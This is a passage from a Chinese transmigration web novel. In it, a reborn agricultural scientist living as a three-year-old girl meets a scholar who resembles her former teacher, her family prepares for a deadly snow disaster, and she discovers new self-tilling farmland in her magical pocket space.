随之,柳氏端着粥碗进来,看到这乱糟糟、暖融融的一幕,又是好笑又是无奈,温声招呼道:“好了好了,你们两个,一大清早就没个正形。快都过来坐好,早饭要凉了。”
阿沅一听娘亲发话,立刻像是被按了开关,瞬间从张牙舞爪的小猫变成了乖巧安静的鹌鹑,手脚并用地爬回自己的位置坐好,还不忘把心爱的小木兔端正地放在腿边,只是那滴溜溜乱转的眼睛和微微鼓起的腮帮子,泄露了她努力憋住的淘气。
嗨!严母慈父,这孟家的气象,跟别的人家倒是倒了个个儿。阿沅心里偷偷想着,眼睛却已经亮晶晶地盯上了桌上那碟热气腾腾、金黄诱人的糖糕。
“嘚嘚,雪塌了!”
阿沅指着刚刚滚好、还没来得及安上去的雪球,它被孟怀瑾不小心碰了一下,半边身子散落开来,她立刻用小奶音带着点控诉地叫道。
“塌了就塌了,咱们再堆一个更大的!”孟怀瑾毫不气馁,反而兴致勃勃地又铲起一大捧雪,动作麻利地重新滚起雪球来,玩得比阿沅还要高兴。
“红袖!你堆的~太小!”阿沅踮着脚,看着红袖正小心翼翼拍着的迷你雪人,嫌弃地皱起了小鼻子。
红袖扑哧一笑,故意逗她:“奴婢手笨嘛,那小姐说,堆个多大的?”
阿沅张开双臂,比划了一个夸张的大圆圈:“大!这么大!比嘚嘚还要高!”
“好嘞,那奴婢就堆个大的,小姐可得帮忙扶稳了!”红袖笑着应下,开始努力滚大雪球。
第49章 大儒醒了
另一边,莲子正愁眉苦脸地看着自己刚堆好的矮墩墩的雪人身子,小声嘀咕:“小姐,这个……怎么没有鼻子呀?看着怪怪的。”
阿沅立刻被吸引了注意力,跑过去歪着头看了看,然后小手一指:“棍子……插上!萝卜……好,红的。”她前世在实验室和农田待惯了,但还是觉得这白雪比泥巴好玩。
“等等,我这就去找根合适的棍子来!”莲子得了“指令”,兴冲冲地跑到廊下翻找起来。
……
院子里的一大片空地上,几个小家伙吵吵闹闹地堆着雪人,偶尔还有调皮的小厮团了雪球偷袭,引发一场混战般的雪仗。丫鬟们一边帮忙铲雪、滚雪球,一边护着小姐别被砸着。
其他暂时无事的下人和老北一家,还有柳氏也都聚在屋檐下或回廊里,笑呵呵地看着这冬日里难得的欢乐景象,冰冷的空气里充满了快活的嬉笑声。
阿沅虽是两世为人,但前世生于南方,长于实验室和试验田,堆雪人、打雪仗这种纯粹的孩童玩乐,对她而言是破天荒头一遭。
身上被裹得里三层外三层,像个圆滚滚的棉球,手上也戴着厚厚的兔皮手套,行动虽有些笨拙,但那份新奇和兴奋让她什么都忘了,小脸红扑扑的,鼻尖也冻得微微发红,却一直咯咯笑个不停。
照看她的人可没忘。特别是绿果和红豆,两人轮流“值班”,时而假装带她“飞飞”,时而加入雪仗“保护”她,实则瞅准机会,就半哄半抱地把玩得忘乎所以的阿沅“拎”进烧着炭火、暖意融融的正屋里。
让她脱了湿了外层的手套,烤烤火,驱驱寒气,再喂上几口温热香甜的杏仁茶,或塞一块小巧的枣泥糕、桂花糖,确保她玩得尽兴的同时,又不至于着了凉。
“老北爷爷,大儒醒了吗?”只有在偶尔瞥见乐呵呵站在东厢房门口,一边捋着胡子一边含笑看着他们玩耍的老军医时,阿沅才会从纯粹的玩闹中暂时抽离,记起这桩顶顶要紧的人和事,总要跑过去仰着小脸问上一句。
老北每次都被她这执着的小模样逗得轻笑出声,无奈地摇摇头,语气温和却肯定:“小姐,还没呢!您放心,老头子我隔一会儿就去瞧瞧,醒了准保第一个告诉您。”
他心里着实有些纳闷,这么丁点大的小人儿,怎么对那位捡回来的陌生老先生如此上心?如果他没记错,从早上到现在,这话小姐已经颠颠地跑来问第五遍了。
若不是亲眼见过好几回小姐被少爷或夫人“逮”回去,皱着眉头、噘着嘴、一脸不情愿地练习写大字,他几乎都要怀疑,小姐是不是迫不及待想要拜这位可能很有学问的老先生为师了呢!
……
杨立生就是在这一片隔着门窗传进来的、模糊却快乐无比的喧闹声中,缓缓睁开了眼睛。最初的一刹那,他以为自己还在做梦,梦见小外孙女和邻居孩子们嬉戏的场景。
直到他尝试着动了动手指、蜷了蜷脚趾,感受到四肢百骸传来的、虚弱却真实的酸痛,又下意识地摸了摸自己干瘪凹陷、饥肠辘辘的腹部,那清晰的饥饿感和身体的存在感,才无比确凿地告诉他:他还活着,真的还活着!
他甚至能清晰地辨别出,那脆生生、甜糯糯,带着孩童特有奶音的女声,一遍又一遍地问着:“老北爷爷,大儒醒了吗?”这声音……熟悉得让他心头发酸发紧,恍惚间仿佛又看到了外孙女蹦蹦跳跳跑来的身影。
然后,他听到了一个略显苍老却中气十足的妇人声音大声吆喝起来,穿透了喧闹:“小姐!夫人!东厢房的老人家醒啦!”
话音刚落,窗外那原本专注于堆雪人的小小身影立刻有了动作。只见阿沅毫不犹豫地将手里刚团好的雪球往地上一扔,那干脆利落的劲儿,一点都不像个三岁孩童。
她转身就朝着东厢房的方向,迈开被厚棉裤包裹的小短腿,跌跌撞撞却又目标明确地跑去。雪地湿滑,她跑得摇摇晃晃,红袖和绿果连忙在后面小心护着。
等她气喘吁吁地挤进东厢房门时,里面已经站了好几个人——得到消息的柳氏、孟怀瑾,还有老北、孟柒几个。但所有人听到她“噔噔噔”细碎而急促的脚步声,都不约而同地微微侧身,默契地为这个家里最受宠爱的小主子让出了一条直达床前的通道。
“脑(老)杨,窝是孟沅!”小家伙还没完全挤到最前面,清脆响亮的声音就先在屋里炸开,带着一种不容忽视的急切和熟稔。
这声招呼让屋内众人皆是一愣,随即又都露出欣慰的神色,内心暗暗称赞:小姐虽然年幼,但这般主动向大儒自我介绍,可见是极懂礼数、尊敬读书人的,以后必定是个爱学习的好苗子!
只是……“脑杨”?是让他们“让让”,别挡路的意思吗?大概是小孩口齿不清吧。谁也没往别处深想,那就再往旁边让让吧!
“咦!”阿沅终于钻到了床前,仰起小脸,两眼亮晶晶得像盛满了星星,一脸期待地看向床上的人。杨立生已经微微侧过身,原本正打量着屋内众人,此刻目光完全落在了这个冲进来的、红扑扑的小女孩脸上。
床上的人,除了因为连日饥寒交迫而显得格外清瘦憔悴,面色苍白,头发也因昏睡多日未打理而有些散乱披散(原本的短发在这古代时空的认知里,只是“未来得及束起”的乱发),但那眉眼,那轮廓,完全一模一样。
可是那看着她的神情——先是茫然,随即在看清她时,眼中自然而然流露出的那种探究和慈爱,和前世看得意门生的目光——不太一样。
“脑杨!窝……孟沅!农学院…种地!”见老杨只是看着自己,没有预想中的震惊、激动或任何熟悉的反应,阿沅有些急了。
她不死心,用力眨了眨眼睛,试图传达更多信息,继续用三岁小娃有限的词汇和不清的口齿提醒着。
第50章 难道不是穿越?
阿沅心想,这话里的关键信息——“孟沅”、“农学院”、“种地”,连起来的意思,老师那么聪明的人,应该能听懂才对啊!这可是他们共同的“熟悉语言”!
杨立生确实知道眼前这个眼神热切、笑容真挚又带着某种他看不懂的尊敬,甚至是濡慕?的小女娃在很认真地对自己说话。
可他费力地集中精神,拼凑她含糊的发音,也只能勉强辨出“孟沅”、“种地”几个词,中间那个“农学院”对他而言是完全陌生的词汇组合。他疑惑地微微蹙起了眉头,努力思索着,却不得其解。
不仅是他,在场的所有人,包括柳氏,都有点懵了。柳氏倒是听懂了“种地”,可心中疑窦顿生。
女儿不是说,是神仙姑姑在梦里教她种地吗?怎么对着这位大儒也说起种地来了?难道……这位大儒也是神仙姑姑送来的人?可大儒不都是教书育人、满腹经纶的吗?怎么还会种地?这到底是怎么回事?
众人的目光一时间都聚焦在了语出惊人的阿沅身上。
床上的杨立生沉默,更确切地说是茫然了片刻,才终于找回了自己的声音,因为虚弱而显得有些气短,但他还是努力挤出一个和善的长辈微笑,甚至尝试着伸出枯瘦的双手,似乎想表达感激,声音微弱却清晰地说道:“孟沅……这个名字,很好。”
然后,他的目光转向了柳氏和孟怀瑾等人,语气郑重:“在下……杨立生,多谢……各位的救命之恩。”礼数周全,即便是在如此虚弱的情况下。
“杨立生?杨大儒?您……您真的是杨立生杨大儒?”
孟怀瑾闻言,先是猛地一愣,随即眼睛骤然睁大,脸上瞬间爆发出难以置信的狂喜,声音都因为激动而微微发颤,“学生……学生是文华学院许长川许山长的学生孟怀瑾!学生见过先生!”
他惊喜得几乎语无伦次,身体下意识地就要行跪拜大礼,恨不得当场就磕头拜师。
杨立生——这个名字在文人学子中可谓如雷贯耳。他是当代公认的鸿儒,学富五车,德高望重,不仅在文人墨客中享有极高声誉,在清流文官中也备受崇敬。
他创办了闻名遐迩的文华学院,并担任第一任山长,现任山长许长川正是他的关门弟子。只是杨大儒大约十年前便开始深居简出,近年来几乎无人得见其真容,谁曾想他竟然会流落到这偏远的嘉禾庄,还落得如此狼狈境地!
“孟怀瑾?你……中了秀才?是……案首?安平侯府孟家?”杨立生听到许长川的名字,眼神微动,仔细看了看眼前激动不已的少年郎,似乎在记忆中搜寻着相关信息,迟疑地问道。
孟怀瑾拼命点头,脸上满是遇见偶像的兴奋与荣耀:“正是学生!学生去年侥幸中了秀才。”
杨立生的目光又移向一旁气质温婉、难掩激动泪光的柳氏,最后,他问出了一个关键的问题,语气带着关切和确认:“孟大人……他还……?”他似乎想通过这个问题,做最后的身份确认。
柳氏万万没想到,这位偶然救下的老人,竟然认得他们,而且似乎与自家有旧!她激动得用手帕擦了擦瞬间涌出的泪水,连忙颤声回答:“在的,在的!夫君他……前些日子病重,幸得上天庇佑,如今已经好了许多,就在正屋将养着。”
绝处逢生又遇故知,这接连的冲击让她情绪有些难以自持。
“原来如此……苍天有眼……我们也算有缘。”杨立生仿佛松了一口气,苍白瘦削的脸上露出一丝慰藉。
他喘了口气,目光在殷切望着他的孟怀瑾和泪眼婆娑的柳氏之间转了转,似乎下了某个决心。
缓缓开口道:“既如此……如果夫人不嫌弃老夫老迈无用,老夫……恐怕要厚颜叨扰府上一段时日了。救命之恩,无以为报……若夫人与孟大人不弃,怀瑾这孩子,便做我的关门弟子……可好?”他的声音虽然虚弱,却带着一种不容置疑的郑重和承诺。
他话音刚落,早已按捺不住的孟怀瑾“扑通”一声,毫不犹豫地双膝跪地,以额触手,行了最庄重的大礼,声音哽咽却无比清晰响亮:“先生!请受弟子孟怀瑾一拜!”
柳氏再也忍不住,以帕掩面,低声啜泣起来,连连点头:“先生……先生您能留下,是我儿的福气,是孟家的福气!我们求之不得,怎会嫌弃!”
而此刻,被完全“晾”在一边的小阿沅,却怔愣愣地站在原地,仰着小脸,看看激动跪拜的哥哥,再看看喜极而泣的娘亲,最后目光落在床上虽然虚弱却已然有了宗师气度、正在安排“报恩”事宜的杨立生脸上。
我是谁?我来自哪里?我刚才说了那么多……为什么一点用都没有?你们……是不是把我当空气了?
她心里一瞬间涌上无数情绪:懊恼,怀疑,还有一丝丝……高兴。
懊恼的是,自己本来准备和蓄积了好久、打算用来与前世恩师相认的“眼泪攻势”以及精心构思的“劝说台词”(动员老师收哥哥为徒),最终完全没有派上用场,甚至没人在意她刚才那番“奇怪”的发言。
怀疑的是,眼前这位杨老师,或许根本不是自己穿越或重生的恩师,而仅仅是一个长相、神态甚至名字都巧合得惊人的古代大儒?自己是不是因为太想念前世,产生了错觉?
高兴的是……无论如何,因为自己的“多管闲事”,确实挽救了一位德高望重的古代良师。而且,这位良师恰好是哥哥眼下最最需要、求之不得的导师!这结果,似乎比她自己“认亲”成功还要好?
小家伙站在那里,小嘴微张,脸上表情变幻不定,彻底成了这场“历史性会面”中,一个被巨大信息量和情感冲击弄得有点晕头转向的、小小的旁观者。她手里还无意识地攥着那只木雕小兔子,兔子的红眼睛无辜地映着屋内温暖的灯光。
第51章 居然不是穿越之人
“窝是孟沅,先生,认识窝吗?”小姑娘扒着门框,只露出半个脑袋和一双乌溜溜的眼睛,口齿还有些奶声奶气的不清,却努力装出一副正经模样。
“当然认识,”斜倚在榻上的杨立生放下手中的书卷,眼角笑纹深深堆起,像看一只探头探脑的幼雀,“你是孟家最最漂亮,最最可爱的——阿沅。”他故意拖长了尾音,带着老年人特有的、哄孩子般的慈爱腔调。
“先生爱种地吗?”阿沅得了夸奖,胆子大了些,蹭进屋,小身子挨到榻边,仰着脸问。前世的老师即使做了博士生导师,也会亲自带队下试验田,裤脚沾满泥巴。
“先生不种地,”杨立生捋了捋花白的胡子,眼神里闪过一丝孩童般的狡黠,“但也不是四体不勤,五谷不分。早年游学时,也曾挽起裤腿,插过几株秧苗,识得麦苗与韭菜的区别。”
“先生四(是)教授!”阿沅眼睛一亮,脱口而出,随即意识到口误,连忙用小手捂住嘴,只剩下圆溜溜的眼睛眨巴着。
杨立生被她这模样逗得哈哈一笑,胸腔震动,引来几声轻咳。“咳咳……先生确实一生都在教授学生,现在老了,教完你哥哥就不教了。”他目光掠过窗边安静看书的孟怀瑾,又落回眼前这粉团似的小人儿身上,语气里带着告老卸任的释然,也有一丝微不可察的落寞。
阿沅却忽然凑得更近了些,几乎要趴到榻沿上,用气音般的神秘语调,一字一顿地说:“先生,高产粮,一亩一千斤。”她紧紧盯着老人的眼睛,不肯错过任何一丝波澜。
杨立生闻言,脸上的笑容倏地凝住了。呆呆地看着小家伙怔了片刻,目光从阿沅写满期待的小脸上移开,望向窗外纷扬不止的雪,良久,才化作一声悠长的叹息:“唉……童言无忌,童言无忌啊!”
他摇了摇头,像是要甩开一个不切实际的幻梦,“若一亩真能种出千斤粮食,那便是天降祥瑞,百姓何须再忍饥挨饿,易子而食?皇帝怕是在梦里都要笑出声来,我大康朝……可就真是国泰民安,盛世可期了。”
话音到最后,已是低不可闻,裹挟着浓重的无奈与怅惘,沉甸甸地坠在暖阁的空气里。
……
接下来的几天,柳氏果然再不用拘着阿沅,也不必担心她闹着往冰天雪地里跑了。因为不但是她,就连一向沉静的儿子孟怀瑾,也有了新的、心甘情愿前往的好去处——大儒暂居的东厢房。
那里仿佛生出了一块无形的磁石,吸引着两个孩子。
只要听说先生醒着,精神尚可,孟沅便像一只勤快的小蜜蜂,坚持不懈地“嗡嗡”着往先生屋里钻。她有时抱着个手炉,有时捏块点心,总要找些由头。
问的问题有时候也照着三岁孩童天马行空,从“人能不能上到月亮上?”,再到拐弯抹角地提起“很远很远的地方住的人会不会不一样?”
她一边问,一边用那双清澈得不掺一丝杂质的眼睛,细细观察着老先生每一点神色变化,每一次胡须的颤动。
然而,无论她如何稚气地试探,如何笨拙地旁敲侧击,杨先生都极有耐心。他时而被她古怪的问题逗得捻须莞尔,时而认真思忖后,用最浅显的比喻解释给她听,眼神始终是长辈看待聪慧孙辈的温和与包容。
他确实好像从来不曾认识过一个名为“孟沅”的异世灵魂,言语间也寻不到半分现代的气息,就像一口深邃却古朴的井,映照出的只是当下这个三岁孩童好奇的倒影。
每当这个时候,孟怀瑾总是安静地坐在靠窗的圈椅里,膝上摊开一卷书。他的目光大多落在书页上,但耳朵却分明竖着。
偶尔听到妹妹又蹦出什么惊人之语,他会从书卷上抬起眼,目光在妹妹充满探询的小脸和先生慈祥的容颜间轻轻一转,嘴角微抿,似有些许了然,又似有些无奈。
直到看见先生面上浮现出淡淡的倦色,或是说话间隙轻轻按揉太阳穴,他才会合上书,站起身,声音清朗地打断:“妹妹,先生需要静养。哥哥带你去堆个雪人,可好?”
“好哒!”阿沅倒也爽快,或许也是试探得有些累了。
她滑下榻沿,站稳了小身子,朝着杨先生规规矩矩地福了福——姿势虽有些歪扭,意思却到了,“先生……好好养病,窝以后……再来找泥玩雪。”她说得磕绊,心意倒是十足。
“去吧!去吧!”杨先生笑着挥手,眼神慈爱,“好好玩,先生这把老骨头,可经不起风雪折腾喽。不过,”
他话锋微转,带着笑谑,“等开春天暖了,先生精神好了,倒是可以同样教我们阿沅识字读书,我们阿沅这般聪颖,定是个读书的好苗子。”
一听“识字读书”四个字,阿沅像是被踩了尾巴的小猫,脸上那点装出来的文静瞬间飞散。
“哥哥快走!”
她一把拉住孟怀瑾的袖子,头也不回,迈着小短腿“噔噔噔”就往外冲,速度快得惊人,一溜烟便没了影,只留下门帘微微晃动,只留下后面大儒的爽朗笑声。
比起握着对她小手来说过于沉重的毛笔,一笔一划地描红,弄得手腕酸软,她宁可跟着绿果和红豆在廊下扎马步,或是跟红袖、莲子你一下我一下地“嘿哈”比划,尽管动作像胖乎乎的猫儿扑蝶,却让她觉得畅快又过瘾。
年前做好、冻在干净的雪地里那成堆的馒头、包子、饺子,早已被消耗一空。老北奶奶又张罗着做了第二批,储存起来。
可这天公仿佛在与人作对,天空像豁开了一道巨大的口子,雨雪裹挟着寒意,铺天盖地、毫无停歇之意地倾洒下来,院中的积雪天天清,也天天厚得没过了小腿。
第52章 抛砖引玉
杨先生能下床后,这是第三次来探望孟大川了,两人谈及窗外这仿佛无止境的雨雪,忧虑着寻常百姓的屋舍与生计,虽然是一文一武,倒也和谐。
“这是要变天啊!”
杨立生捻着茶盏,望着窗外灰蒙蒙的天际,忽然幽幽地发出一声叹息,那叹息里承载的重量,远不止于天气。
孟大川正待接话,床上安静玩着九连环的阿沅却猛地抬起头,用她那特有的、带着糯软齿音,却语不惊人死不休的腔调插嘴:“变天?是有人要洗(死)了吗?那个坏皇帝也洗(死)吗?”
她睁着黑白分明的大眼睛,一派天真无邪,仿佛在问“今天吃糕吗”一样自然。
“阿沅!不许胡说!”孟大川脸色骤变,厉声喝止,大手几乎是条件反射般地伸过来,紧紧捂住了女儿的小嘴。他紧张地看向杨先生,额角似有青筋微跳。
杨先生却并未如孟大川预料的那般惊怒或惶恐。他只是微微一顿,目光落在阿沅被捂住嘴、只剩一双眼睛骨碌碌转的小脸上,那眼神深邃复杂,仿佛透过她在看更遥远的东西。
片刻,他缓缓放下茶盏,语气出乎意料的平和,甚至带着一丝难以言喻的慨叹:“皇帝么……眼下还好。有时,活着,未必不比死了更……罢了,这些话不是你该听的。我们阿沅……倒真是个心思剔透的。”
最后一句,语气又转为了那种对待孩童的温和,却隐约藏着一丝别样的审视。
孟大川这才稍稍放松,松开了捂着阿沅的手,顺势将她往自己身边带了带,目光却探寻地看向杨先生,压低了声音:“先生方才感叹变天……莫非是觉得,东宫……不稳?”他问得含蓄,指尖无意识地摩挲着温热的杯壁。
杨先生沉默了片刻,屋外风雪声显得格外清晰。他终究没有正面回答,只是垂下眼睑,看着杯中沉浮的茶叶,声音低缓,字斟句酌:“……性子急了些,储君手段也烈,母族势大,难免……唉,苦的终究是黎民百姓。”一声悠长的叹息,道尽了未尽之言里的担忧与无奈。
“皇上膝下,也并非只此一子。”孟大川接了一句,像是在陈述,又像是在抛砖引玉。
阿沅靠在父亲腿边,屏住呼吸,觉得爹爹这话说得巧妙,像在平静的湖面投下一颗小石子。
再看杨先生,他此刻更像一只蛰伏的老狐,看似闭目养神,眼角细微的纹路却蕴藏着经年的智慧与秘密。
他并未接孟大川关于其他皇子的话头,只是嘴角牵起一个极淡、几乎看不见的弧度,仿佛自言自语般低喃:“风云激荡,非一日之寒。若是能……再熬过七八个春秋,大约……会好些。”说罢,便端起茶盏,细细啜饮,不再多言。
阿沅竖着耳朵等了半天,也没等到更具体的名字或事件,心里像有小猫在抓挠。她抬头看向爹爹,却见孟大川已然敛目沉思,手指在膝上轻轻敲击,似乎是从那句“七八个春秋”里品出了什么深意,陷入了自己的思量。
这个杨先生,心里定然藏着许多不为外人所知的事。自他来到孟家,无人刻意问起他的来历与遭遇,他也从未主动提及家中亲眷,更无半分急于归去的意思。
他桃李遍天下,陈山长又是他的关门弟子,即便不想回到家中,那文华书院也应是清贵安稳的归宿。可他偏偏决定要安顿下来,安之若素地留在庄子里,似乎想要与外界风雨隔绝。
这份沉静,反而让阿沅觉得,他就像这漫天风雪中一座沉默的山,山腹里或许藏着足以燎原的星火,或是不愿示人的幽深洞窟。
“整个镇子死了不少人,附近有个庄子听说人都快死绝了。”林庄头说这话时,眉头拧得死紧,唯一的一只手还不停地搓着冻得发红的耳朵。
他站在昔日的将领跟前,身上还带着从外头裹进来的寒气,说话间白雾一团团地呵出来。
大雪封山封路,京城里的消息是半点也透不过来,但庄子与庄子之间,总还有些胆大或者活不下去的人走动,消息便像寒风里的碎雪,零零星星地飘进来。
孟柒他们也闲不住,每天都要裹得严严实实出去转一圈,美其名曰“探听风声”,其实也是憋得慌。回来总能带些零碎消息:李家庄压了七八户又塌了;更远些的村落,整个庄子几乎都没人了。
林庄头孤家寡人一个,隔三差五也会过来,把从那些蹲在墙角晒太阳的佃户嘴里听来的闲话,一五一十说给孟大川听。
那些佃户,得了主家年前的厚赏,心里是感激的,嚼起舌头来也更卖力,仿佛多报些消息,就能对得起那些粮食和棉衣似的。
“再这么下去,怕真会出乱子。”林庄头的声音压低了些,眼神里掠过一丝惊惶,像是被十几年前的噩梦魇住了,“大人,您没经过那年头……流民成了群,眼珠子都是红的,跟狼似的,见着吃的、见着暖和的屋子就往上扑,管你是什么老爷夫人……”
他顿了顿,喉结上下滚动,“咱们庄子现在还算安稳,可外头……听说已经有灾民结伙,闯进那些看着殷实的人家里去了。主家为了保命,不敢不从,好饭好菜供着,甚至还给女人。报了官,衙门里也腾不出手管,或者说,没法管。”
孟大川坐在炕沿上,听着,面色沉静,但搁在膝上的手却不自觉地握紧了。他有些后悔,当初只安排这些护院过来,人还是太少了。这庄子大,佃户散居,万一真有事,怕是照应不过来。
“孟柒,”他抬眼看向侍立一旁的,“除了你们几个每日必要的探看,庄子里的其他人,一律不得外出。告诉所有的护院,日夜警醒,轮班值守,万不可懈怠。”
“大人放心。”孟柒上前一步,他身姿挺拔,即便穿着厚棉袍也不显臃肿,眼神沉稳里有锐气,“在下过来,正是想跟您商量这事。光靠咱们现有的人手,巡防偌大庄子,时间长了难免有疏漏。是不是……可以从佃户里,召集些身强力壮、又得过好人卡的人家,简单训练起来,编成小队,明确职责,做好日夜交替的巡防?”
第53章 我有土地了
他顿了顿,“我们的动作大,佃户们各家各户也会警醒着些。”
想到年前夫人那场大手笔的“挥霍”——那些实实在在发到每家每户的粮食、衣料和木炭。让这个冬天,庄子里的佃户比旁处多了许多活气,也多了许多忠心。于是,他没再提需要额外花费银钱佣金的事,只是补充道:“这些人,知根知底,又受了主家大恩,用起来应当可靠。”
孟大川沉吟片刻,点了点头。这两天,他独自在书房时,也在反复思量这个事。乱世用重典,危局需齐心。光靠威慑不够,还得有利导。
“就按你想的办。务必挑选妥当之人。”他下了决心,“肯出力的,每人每日……可领三斤粮食,再发两件厚实棉衣,雪天里总得要有替换。”
地窖里预留的粮食充足,棉布棉花也还有富余,孟大川向来不是刻薄的主家,这种时候,他更不想亏待任何肯为庄子出力的人。平安度过这个可怕的雪灾之年,比什么都重要。
阿沅一直窝在爹爹暖和的被窝里,只露出个小脑袋,听着大人们商量这些沉重的事情。那些“死人”、“乱子”、“流民”的字眼,钻进她的小耳朵,让她不由自主地打了个寒噤,小身子裹着被子也瑟瑟地抖了一下。
前世太过太平,她脑海里没有具体的画面,但那种弥漫在大人语气里的紧张和忧虑,让她害怕,也更坚定了心里那个模糊却强烈的念头:一定要种出很多很多的粮食,让大家都不饿肚子!
可是……想到要等到冰雪融化才能打算,她又觉得像有一只小猫爪子在心上挠,痒痒的,急急的,很不甘心。“好烦好烦,”她是南方人,不喜欢这样窝冬。
“阿沅,你去哪里?”孟大川正和孟柒说着细节,忽见女儿一言不发,小脸绷得紧紧的,像个严肃的小大人,然后就开始吭哧吭哧地从高高的炕沿往下滑,小短腿悬空蹬了半天也够不着踏板。他连忙伸手,一把将这团“棉球”抱下来,稳稳放在地上,顺口问道。
“咪咪(秘密)!”小家伙脚一沾地,立刻抬头,黑葡萄似的眼睛亮晶晶的,竖起一根短短嫩嫩的食指,紧紧贴在嘟起的小嘴唇上,还夸张地“嘘”了一声,那模样,仿佛真藏着了不得的大事情。
说完,也不等爹爹再问,迈开小短腿,啪嗒啪嗒就跑出了房门,只留下一串轻快的脚步声。
她飞快地跑回自己隔壁的小房间,招呼正在整理衣箱的红袖:“红袖,抱窝上床!”
红袖忙过来,笑着将她抱上那张挂着厚厚帐幔的雕花小床。阿沅一骨碌滚进被窝,只露出一张小脸,神情是罕见的严肃:“窝睡觉觉,不许烦哦。”说完,就紧紧闭上了眼睛。
红袖只当小姐是玩累了,乖巧地应了声“是”,轻轻放下层层帐幔,掩上门出去了。
听着关门声确认屋里只剩自己,帐子里的阿沅立刻睁开了眼,那双眼睛里哪有一丝睡意,分明是满满的急切和跃跃欲试。她屏息凝神,心里默念,小小的身影瞬间从锦被中消失,进入了那片独属于她的神秘天地。
才进空间,脚踩在温润如玉的地面上,她原本是直奔着实验室的方向去的,小嘴还无意识地嘟囔着:“窝要毒药药!多多的毒药药。”
想着要给孟柒他们准备些防身的厉害东西。那声音糯糯的,带着孩童的稚气,与她心里想的“见血封喉”、“瘫软无力”等词儿全不匹配。
然而,就在她脚步将动未动之际,忽然感觉周围的气息有些不同。那是一种难以言喻的、空间本身传来的轻微“嗡”鸣,带着欣喜的扩张感。她猛地顿住,下意识地回头,朝含章苑那青砖灰瓦的围墙外侧望去——那里原本始终被乳白色的浓雾笼罩着,界限分明,无法靠近。
可此刻,浓雾正在以肉眼可见的速度滚滚退散,如同舞台的帷幕被缓缓拉开,露出了其后崭新的景象!
“呀!”阿沅惊喜地叫出了声,那声音又脆又亮。她睁大了眼睛,小嘴因为惊讶和兴奋微微张开,露出了几颗小米牙。
“窝有土地了!”她欢呼起来,奶声奶气,却充满了无尽的喜悦。再也顾不上去什么实验室,小短腿倒腾得飞快,哒哒哒地就朝着那片新出现的区域跑去,两个小揪揪上下一甩一甩,欢乐地跳跃。
站在边界,她看得更清楚了。眼前是一片极为规整、平坦而肥沃的土地,黑黝黝的,仿佛能捏出油来。土地的一侧,一条清澈见底的小溪潺潺流过,水声淙淙,为这静谧的空间添了几分生气。
孟沅迅速冷静下来,开始以专业的眼光打量、估算:“看着……长宽规整,田埂分明,嗯,一块、两块……还有那边的形状……加起来,应该有十亩左右!还附带一条灌溉用的小溪,布局倒是合理。”
前世在农科院,为了实验数据精准,试验田都是一亩、五亩或十亩这样规整的单位,要么方正,要么呈标准的长条形,方便计算数据。所以孟沅一眼扫过去,心里就有了八九不离十的判断。这空间的馈赠,倒是很“科学”。
她走到田埂边,也不嫌地上凉,一屁股坐了下来。小小的身子在空旷的田地边显得格外孤零零,单薄得很。但若有人能看见她此刻的神情和内心,便会发现那里早已乐开了花,像是瞬间绽放了千百朵向日葵,金灿灿,明晃晃。
兴奋之余,她心里也浮起一丝疑惑和揣摩:上一次空间扩大,是多了含章苑。那是因为救了爹爹和哥哥?还是因为拿回了娘的嫁妆,让坏人吃了瘪?或者,是因为自己“装神弄鬼”,吓得安平侯府鸡飞狗跳,也算做了件“厉害”事?
那这一次呢?是因为爹爹和哥哥的身体一天比一天好,脸色红润起来了?还是因为救了那位杨大儒?
哎呀呀,想不明白!小脑袋摇了摇,决定不为难自己了。管它为什么呢,有地就是天大的好事!
念头立刻转到了眼前的土地上。她开始认真地盘算起来:前世在南方,种一季水稻大概三个多月,不到一百一十天,一年能种两到三季。但这里可是北方,里写得明白,今年庄子这边的地,要等到五月底、六月初才能完全化冻,耕田、耙地、育苗……一套流程下来,插秧得到六月底了。时间紧得很!如果能先在空间里播种……
阿沅的目光扫过眼前这十亩地,刚才那股子狂喜稍微冷却了一点,小眉头又习惯性地蹙了起来:十亩地……还是太少了呀。
空间时间流速快,不能空着。
第54章 孟二泉居然还升了官
“不管了!先种上再说!”她很快又振作起来,小拳头在空中挥了一下,给自己打气。现在外面还没到三月,按照之前观察,空间里的时间流速大概是外面的三倍左右?那么,在这里面抓紧时间种下并收获两季水稻,外面也才刚到五月左右,到时候再头疼外面的育种和推广问题也不迟!
想到这两季可能的收成——高产稻种,亩产若是能达到预期……阿沅心里迅速算了一笔账,眼睛又亮了起来:十亩地,两季,就算保守估计,也能收获2万多斤良种呢!到时候,总能想办法解决后续的问题!
“就这么办!”她下了决心,小脸上满是认真,“种四亩高产1号,高产2号和高产3号……嗯,各三亩!”她规划着实验田的比例,力求获得不同品种在“本地”条件下的对比数据。
规划已定,她站起身,拍拍小屁股上并不存在的土,准备迈开小短腿,噔噔噔地跑回实验室那边的院子,去搬运存放在那里的珍贵稻种,对她现在的小身板来说,那将是一项极其艰巨的体力活。
可就在她刚要抬脚的刹那,眼前的景象让她彻底惊呆了,小嘴张成了一个圆圆的“O”型,半晌没合上。
只见那片刚刚被她“钦点”的、肥沃黑土地,仿佛瞬间被赋予了生命!没有犁,没有耙,土地本身却如同沉睡的巨兽苏醒,又如同大地深处涌起了无声的喷泉,从最底层开始,整齐划一地、温柔又强劲地向上翻涌!黑色的泥浪均匀地起伏、滚动,将可能存在的板结或块垒完全打散、抚平。
与此同时,旁边小溪里的清水,仿佛被一双无形的巨手引导着,化作几道透明的水练,轻盈而准确地跃上田垄,均匀地洒入正在翻动的泥土中,进行着完美的灌溉。
不过片刻功夫,翻涌平息,水流退回溪中。呈现在阿沅眼前的,已经是十几亩完全整理好的、水肥适宜的、达到直接播种最佳状态的完美苗床!土壤细腻湿润,泛着健康的油光,田面平整如镜。
“还……还有这等好事?!”阿沅足足愣了好几秒,才猛地回过神来,随即便是巨大的狂喜席卷了她。她高兴得直接原地蹦了起来,虽然个子小跳不高,但那雀跃的劲儿十足。
她甚至兴奋得孩子气地在柔软的田埂上打了个滚,咯咯的笑声洒了一地,小小的身子裹在锦缎棉袄里,像只快乐的绒球。
这简直比前世的现代化全自动农业机械还要神奇、还要便捷!连按钮都不用按,连柴油电力都不需要,心念一到,土地自行为她备好!
还没等她从这惊喜中缓过神,更神奇的事情接踵而至。她刚刚在心里盘算好的那三种高产稻种——高产1号、2号、3号,仿佛听到了她无声的召唤,装种子的麻袋并没有出现在实验室,而是直接出现在对应的田埂上,袋口自动松开。
